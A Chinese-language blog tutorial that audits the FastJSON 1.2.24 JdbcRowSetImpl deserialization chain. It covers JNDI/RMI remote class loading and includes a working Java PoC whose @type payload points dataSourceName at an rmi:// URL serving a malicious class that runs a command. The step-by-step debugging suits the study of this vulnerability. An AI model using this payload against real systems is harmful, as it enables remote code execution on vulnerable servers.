之前的文章介绍了原生的序列化和反序列化操作
而且审计了URLdns链子
接下来是更进阶的:第三方库FastJSON反序列化导致JNDI注入
什么是JNDI注入?先不解释,想一个问题
之前反序列化在正常情况下,只能调用当前环境下有的东西,如果有runtime,那么就可以使用runtime进行rce
但是如果没有呢?或者说被禁用了
当前环境下可以反序列化,但是什么都触发不了
唯一的办法就是通过网络,远程加载类进行反序列化
(因为本地没有,所以只能从远程入手)
jndi中的rmi服务,就是一种远程加载方法的方式
RMI(Remote Method Invoke):
分为服务端和客户端
服务端:提供类
客户端:通过lookup方法指定服务端url,拿到并且加载类到本地
比如lookup(“rmi://198.18.0.1:1099/y5x5af”)
使用rmi协议访问198.18.0.1:1099/y5x5af这个地址,拿到服务端提供的类
既然可以从服务端加载类
那如果服务端提供一个恶意类呢?
客户端直接加载,触发命令执行
细节后面再讲
先介绍一下FastJson这个库
FastJson是阿里巴巴的开源库,用于对JSON数据进行解析和打包
简单来说就是把类转换成JSON,或者把json转换成类
和两种操作,和原生的反序列化以及序列化很相似
原生序列化:把类/对象转换成字符串
原生反序列化:把字符串转换成类/对象
FastJson序列化:把类/对象转换成json
FastJson:把json转换成类/对象
pom.xml如下,下载好FastJson
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.sf.maven</groupId>
<artifactId>FastjsomDemo</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
</project>
FastJson序列化方法
JSON.toJSONString()返回字符串
JSON.toJSONBytes()返回byte数组
FastJson反序列化方法
parseObject()返回JsonObject类型的对象
parse()返回Object
parseArray()返回JsonArray类型的对象
将JSON对象转换为java对象
JSON.toJavaObject()
将JSON对象写入write流
JSON.writeJSONString()
JSON.toJSONString(u, SerializerFeature.WriteClassName);
在执行toJSONString时
如果加上第二个参数:SerializerFeature.WriteClassName
表示在进行序列化时,把u的类型也写入进去
也就是user类
将来在反序列化还原时,会还原出user类型
这是没加之前,序列化后的输出
{“age”:33,“id”:2,“name”:“xiaodi”}
这是加了之后的输出
{“@type”:“com.sf.maven.User”,“age”:33,“id”:2,“name”:“xiaodi”}
除此之外,加上SerializerFeature.WriteClassName
在反序列化时
如果调用parseObject进行反序列化,则会自动执行目标对象的get和set方法
比如反序列化一个user类
那么就会调用里面的所有get和set方法
如果调用parse进行反序列化,则只调用set
接下来是一条完整的反序列化链子审计
Fastjson 1.2.24 版本JdbcRowsetImp反序列化
package com.sf.maven;
import com.alibaba.fastjson.JSON;
public class FastJSON_rce {
public static void main(String[] args) throws ClassNotFoundException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//允许使用rmi进行远程加载
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://198.18.0.1:1099/y5x5af\"," +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
从poc开始看
关键在于:构造了一个String字符串,然后使用parse执行反序列化后
弹出计算器

开始分析
目标类:com.sun.rowset.JdbcRowSetImpl
属于sun下的类
也就是Java原生(自带的)类,而不是第三方组件的
定位到JdbcRowSetImpl类

接下来怎么走?
可以看到poc中,有@type指定类型
在指定类型的情况下,调用parse函数进行反序列化会触发set方法
在payload中可以看到
分别给dataSourceName和autoCommit进行了赋值
也就是会调用它们的set方法
setdataSourceName和setautoCommit
在JdbcRowSetImpl类里面用ctrl+f去搜
先看setdataSourceName

有一个校验是否为空,为了方便,这里可以直接打断点然后动态调试

在这里断点调试
步入,可以发现dataSource的值为空

因此走到else分支

步入

因为name不为null
且不为空字符串(name.equal(“”)表示判断name的值是否等于""空值)
直接走到else,把name的值(rmi://198.18.0.1:1099/y5x5af)赋值给了dataSource
步过,给url赋了个null值
回到setDataSourceName
现在datasource有值了
所以getDatasourceName不返回空

进入if,调用了setDataSourceName自身
然后把conn,ps,rs三个属性赋空值
好像没什么了(一直步过/步出都没跳转)
再看看autoCommit

因为刚才的setDataSourceName把conn赋为空了
因此直接进else分支
给conn重新赋值,调用connect方法,将其返回值赋给conn
步入connect方法

当前还没收到connect的返回值,因此conn为空
直接跳到else if
getDataSourceName,获取DataSourceName
已知DataSourceName不为空
进入try代码块
发现关键,调用了lookup
并且lookup的参数值是getDataSourceName,也就是DataSourceName
在poc中,dataSourceName的值是我们自己设置的
是一个恶意类的加载链接(由工具生成)

-C参数指定执行calc命令
然后工具生成url链接
将dataSourceName的值改为这个,造成命令执行
这条链的核心就是利用了parse在反序列化有@type标识的类时
会自动调用其set方法,将我们精心构造的恶意类加载url传入给lookup
评论(0)
暂无评论